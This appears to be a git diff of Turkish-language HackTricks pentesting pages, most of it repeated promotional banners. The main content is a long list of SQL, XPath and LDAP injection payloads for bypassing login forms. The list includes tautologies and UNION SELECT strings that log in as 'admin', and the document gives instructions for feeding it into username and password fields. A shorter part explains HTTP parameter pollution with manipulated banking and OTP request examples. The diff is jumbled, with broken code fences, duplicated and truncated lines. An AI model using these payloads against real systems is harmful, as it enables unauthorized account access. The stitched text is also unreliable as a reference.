<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Gönderiyi kontrol edin [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Gönderiyi kontrol edin: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Bu liste, **XPath, LDAP ve SQL enjeksiyonu** ile girişi atlamak için kullanılan **payload'ları** içerir (bu sırayla).
Bu liste **XPath, LDAP ve SQL enjeksiyonu ile girişin atlanması için yükleri** içermektedir (bu sırayla).
Bu listeden yararlanmanın yolu, **ilk 200 satırı kullanıcı adı ve şifre olarak** kullanmaktır. Ardından, tam listeyi önce kullanıcı adı girişine, ardından şifre girişine koyarken, bazı bir şifre (örneğin _Pass1234._) veya bazı bilinen bir kullanıcı adı (örneğin _admin_) girin.
Bu listeyi kullanmanın yolu, **ilk 200 satırı kullanıcı adı ve şifre olarak koymaktır.** Ardından, tam listeyi önce kullanıcı adı alanına, sonra şifre alanına koyarken bazı şifreler (örneğin _Pass1234._) veya bazı bilinen kullanıcı adları (örneğin _admin_) koymaktır.
```
admin
password
@ -303,7 +304,6 @@ admin' and substring(password/text(),1,1)='7
0"&lt;"2"-- 2
0"&lt;"2"#
0"&lt;"2"/*
```markdown
')-''-- 2
')-''#
')-''/*
@ -518,39 +518,44 @@ ffifdyop
'||2=2#
'||2=2/*
'||2=2||'
"||"
||2=(2)LimIT(1)-- 2
||2=(2)LimIT(1)#
||2=(2)LimIT(1)/*
||2=(2)LimIT(1)-- 2
||2=(2)LimIT(1)#
||2=(2)LimIT(1)/*
||true-- 2
||true#
||true/*
||true||
||true-- 2
||true#
||true/*
||true||
||'2'LiKE'2
||'2'LiKE'2'-- 2
||'2'LiKE'2'#
||'2'LiKE'2'/*
||'2'LiKE'2'||
||(2)LiKE(2)-- 2
||(2)LiKE(2)#
||(2)LiKE(2)/*
||(2)LiKE(2)||
||"2"LiKE"2
||"2"LiKE"2"-- 2
||"2"LiKE"2"#
||"2"LiKE"2"/*
||"2"LiKE"2"||
||(2)LiKE(2)-- 2
||(2)LiKE(2)#
||(2)LiKE(2)/*
||(2)LiKE(2)||
"||"2"="2
"||"2"="2"||"
"||2=2-- 2
"||2=2#
"||2=2/*
"||2=2||"
'||2=(2)LimIT(1)-- 2
'||2=(2)LimIT(1)#
'||2=(2)LimIT(1)/*
"||2=(2)LimIT(1)-- 2
"||2=(2)LimIT(1)#
"||2=(2)LimIT(1)/*
'||true-- 2
'||true#
'||true/*
'||true||'
"||true-- 2
"||true#
"||true/*
"||true||"
'||'2'LiKE'2
'||'2'LiKE'2'-- 2
'||'2'LiKE'2'#
'||'2'LiKE'2'/*
'||'2'LiKE'2'||'
'||(2)LiKE(2)-- 2
'||(2)LiKE(2)#
'||(2)LiKE(2)/*
'||(2)LiKE(2)||'
"||"2"LiKE"2
"||"2"LiKE"2"-- 2
"||"2"LiKE"2"#
"||"2"LiKE"2"/*
"||"2"LiKE"2"||"
"||(2)LiKE(2)-- 2
"||(2)LiKE(2)#
"||(2)LiKE(2)/*
"||(2)LiKE(2)||"
')oR('2
')oR'2'-- 2
')oR'2'#
@ -706,8 +711,8 @@ admin")#
")UniON(SElecT(1),2,3)-- 2
")UniON(SElecT(1),2,3,4)-- 2
")UniON(SElecT(1),2,3,4,5)-- 2
")UniON(SElecT
```
")UniON(SElecT(1),2)#
")UniON(SElecT(1),2,3)#
")UniON(SElecT(1),2,3,4)#
")UniON(SElecT(1),2,3,4,5)#
')||('2
@ -818,101 +823,17 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
```
")UniON(SElecT(1),2,3,4)#
")UniON(SElecT(1),2,3,4,5)#
')||('2
')||2-- 2
')||'2'||('
')||2#
')||2/*
')||2||('
")||("2
")||2-- 2
")||"2"||("
")||2#
")||2/*
")||2||("
')||'2'=('2
')||'2'='2'||('
')||2=2-- 2
')||2=2#
')||2=2/*
')||2=2||('
")||"2"=("2
")||"2"="2"||("
")||2=2-- 2
")||2=2#
")||2=2/*
")||2=2||("
')||2=(2)LimIT(1)-- 2
')||2=(2)LimIT(1)#
')||2=(2)LimIT(1)/*
")||2=(2)LimIT(1)-- 2
")||2=(2)LimIT(1)#
")||2=(2)LimIT(1)/*
')||true-- 2
')||true#
')||true/*
')||true||('
")||true-- 2
")||true#
")||true/*
")||true||("
')||'2'LiKE('2
')||'2'LiKE'2'-- 2
')||'2'LiKE'2'#
')||'2'LiKE'2'/*
')||'2'LiKE'2'||('
')||(2)LiKE(2)-- 2
')||(2)LiKE(2)#
')||(2)LiKE(2)/*
')||(2)LiKE(2)||('
")||"2"LiKE("2
")||"2"LiKE"2"-- 2
")||"2"LiKE"2"#
")||"2"LiKE"2"/*
")||"2"LiKE"2"||("
")||(2)LiKE(2)-- 2
")||(2)LiKE(2)#
")||(2)LiKE(2)/*
")||(2)LiKE(2)||("
' UnION SELeCT 1,2`
' UnION SELeCT 1,2,3`
' UnION SELeCT 1,2,3,4`
' UnION SELeCT 1,2,3,4,5`
" UnION SELeCT 1,2`
" UnION SELeCT 1,2,3`
" UnION SELeCT 1,2,3,4`
" UnION SELeCT 1,2,3,4,5`
' or 1=1 limit 1 -- -+
'="or'
Pass1234.
Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658
Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'#
Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.
Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')#
Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'#
Pass1234.' and 1=0 union select 'admin',sha('Pass1234.
Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')#
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
Pass1234." and 1=0 union select "admin",sha("Pass
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Parametre Kirliliği
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -21,50 +22,50 @@ HackTricks'ı desteklemenin diğer yolları:
# HTTP Parametre Kirliliği (HPP) Genel Bakış
HTTP Parametre Kirliliği (HPP), saldırganların HTTP parametrelerini manipüle ederek bir web uygulamasının davranışını istenmeyen şekilde değiştirdiği bir tekniktir. Bu manipülasyon, HTTP parametrelerinin eklenmesi, değiştirilmesi veya çoğaltılması yoluyla gerçekleştirilir. Bu manipülasyonların etkisi doğrudan kullanıcıya görünmez ancak sunucu tarafında uygulamanın işlevselliğini önemli ölçüde değiştirebilir ve istemci tarafında gözlemlenebilir etkilere neden olabilir.
HTTP Parametre Kirliliği (HPP), saldırganların HTTP parametrelerini manipüle ederek bir web uygulamasının davranışını beklenmedik şekillerde değiştirdiği bir tekniktir. Bu manipülasyon, HTTP parametrelerini ekleyerek, değiştirerek veya çoğaltarak gerçekleştirilir. Bu manipülasyonların etkisi kullanıcıya doğrudan görünmez, ancak uygulamanın sunucu tarafındaki işlevselliğini önemli ölçüde değiştirebilir ve istemci tarafında gözlemlenebilir etkiler yaratabilir.
## HTTP Parametre Kirliliği (HPP) Örneği
Bir bankacılık uygulaması işlem URL'si:
- **Orijinal URL:** `https://www.kurban.com/gonder/?from=hessapA&to=hessapB&miktar=10000`
- **Orijinal URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Ek bir `from` parametresi ekleyerek:
- **Manipüle Edilmiş URL:** `https://www.kurban.com/gonder/?from=hessapA&to=hessapB&miktar=10000&from=hessapC`
- **Manipüle Edilmiş URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
İşlem, `accountA` yerine `accountC`'ye yanlışlıkla ücretlendirilebilir, HPP'nin işlemleri veya şifre sıfırlamaları, 2FA ayarları veya API anahtarı istekleri gibi diğer işlevleri manipüle etme potansiyelini gösterir.
İşlem, `accountA` yerine yanlışlıkla `accountC`'ye yansıtılabilir ve bu durum HPP'nin işlemleri veya şifre sıfırlama, 2FA ayarları veya API anahtarı talepleri gibi diğer işlevleri manipüle etme potansiyelini göstermektedir.
### **Teknolojiye Özgü Parametre Ayrıştırma**
- Parametrelerin nasıl ayrıştırıldığı ve önceliklendirildiği, temel web teknolojisine bağlı olarak değişir ve HPP'nin nasıl sömürülebileceğini etkiler.
- Parametrelerin nasıl ayrıştırıldığı ve önceliklendirildiği, temel web teknolojisine bağlıdır ve HPP'nin nasıl istismar edilebileceğini etkiler.
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) gibi araçlar, bu teknolojileri ve ayrıştırma davranışlarını tanımlamaya yardımcı olur.
## PHP ve HPP Sömürüsü
## PHP ve HPP İstismarı
**OTP Manipülasyonu Durumu:**
- **Bağlam:** Bir OTP gerektiren giriş mekanizması sömürüldü.
- **Yöntem:** Burp Suite gibi araçlar kullanılarak OTP isteği yakalanarak saldırganlar HTTP isteğinde `email` parametresini çoğalttı.
- **Sonuç:** OTP, asıl e-posta için değil, manipüle edilen istekte belirtilen ikinci e-postaya gönderildi. Bu hata, amaçlanan güvenlik önlemini atlayarak yetkisiz erişime izin verdi.
- **Bağlam:** Tek Seferlik Şifre (OTP) gerektiren bir giriş mekanizması istismar edildi.
- **Yöntem:** Burp Suite gibi araçlar kullanarak OTP talebini kesen saldırganlar, HTTP isteğindeki `email` parametresini çoğalttı.
- **Sonuç:** İlk e-posta için tasarlanan OTP, manipüle edilmiş istekte belirtilen ikinci e-posta adresine gönderildi. Bu hata, amaçlanan güvenlik önlemini aşarak yetkisiz erişime izin verdi.
Bu senaryo, uygulamanın arka uçundaki kritik bir gözden kaçırma durumunu vurgular; OTP oluşturmak için ilk `email` parametresini işledi, ancak teslimat için son parametreyi kullandı.
Bu senaryo, uygulamanın arka ucundaki kritik bir gözden geçirmeyi vurgular; OTP üretimi için ilk `email` parametresini işleyen ancak teslimat için sonuncusunu kullanan bir durumdur.
**API Anahtarı Manipülasyonu Durumu:**
- **Senaryo:** Bir uygulama, kullanıcıların API anahtarlarını profil ayarları sayfası aracılığıyla güncellemelerine izin verir.
- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin verir.
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfeder.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan, iki `api_key` parametresi içeren bir istek oluşturur: biri meşru, diğeri kötü niyetli. Sunucu, yalnızca son oluşumu işleyerek API anahtarını saldırganın sağladığı değere günceller.
- **Sonuç:** Saldırgan, kurbanın API işlevi üzerinde kontrol kazanır, potansiyel olarak yetkisiz şekilde özel verilere erişebilir veya bunları değiştirebilir.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan bir geçerli ve bir kötü niyetli `api_key` parametresi içeren bir istek hazırlar. Sunucu, yalnızca sonuncusunu işleyerek, API anahtarını saldırganın sağladığı değere günceller.
- **Sonuç:** Saldırgan, mağdurun API işlevselliği üzerinde kontrol kazanır ve muhtemelen özel verilere yetkisiz erişim veya değişiklik yapabilir.
Bu örnek, özellikle API anahtar yönetimi gibi kritik özelliklerde güvenli parametre işleme gerekliliğini vurgular.
Bu örnek, özellikle API anahtarı yönetimi gibi kritik özelliklerde güvenli parametre yönetiminin gerekliliğini daha da vurgular.
## Parametre Ayrıştırma: Flask vs. PHP
Web teknolojilerinin çift HTTP parametrelerini nasıl ele aldığı farklılık gösterir, HPP saldırılarına karşı duyarlılıklarını etkiler:
Web teknolojilerinin çoğaltılmış HTTP parametrelerini ele alma şekli, HPP saldırılarına karşı duyarlılıklarını etkiler:
- **Flask:** Sorgu dizesinde `a=1&a=2` gibi karşılaşılan ilk parametre değerini benimser, başlangıçtaki örneği sonraki çoğaltmalardan önce önceliklendirir.
- **PHP (Apache HTTP Sunucusu üzerinde):** Aksine, verilen örnekte `a=2`'yi tercih eder. Bu davranış, saldırganın manipüle edilen parametreyi orijinaline tercih ederek HPP sömürülerini yanlışlıkla kolaylaştırabilir.
- **Flask:** Bir sorgu dizesinde `a=1&a=2` gibi ilk karşılaşılan parametre değerini benimser, ilk örneği sonraki çoğaltmalara tercih eder.
- **PHP (Apache HTTP Sunucusu üzerinde):** Aksine, son parametre değerini önceliklendirir ve verilen örnekte `a=2` seçilir. Bu davranış, saldırganın manipüle ettiği parametreyi orijinaline tercih ederek HPP istismarlarını kolaylaştırabilir.
## Referanslar
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
@ -75,16 +76,17 @@ Web teknolojilerinin çift HTTP parametrelerini nasıl ele aldığı farklılık
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
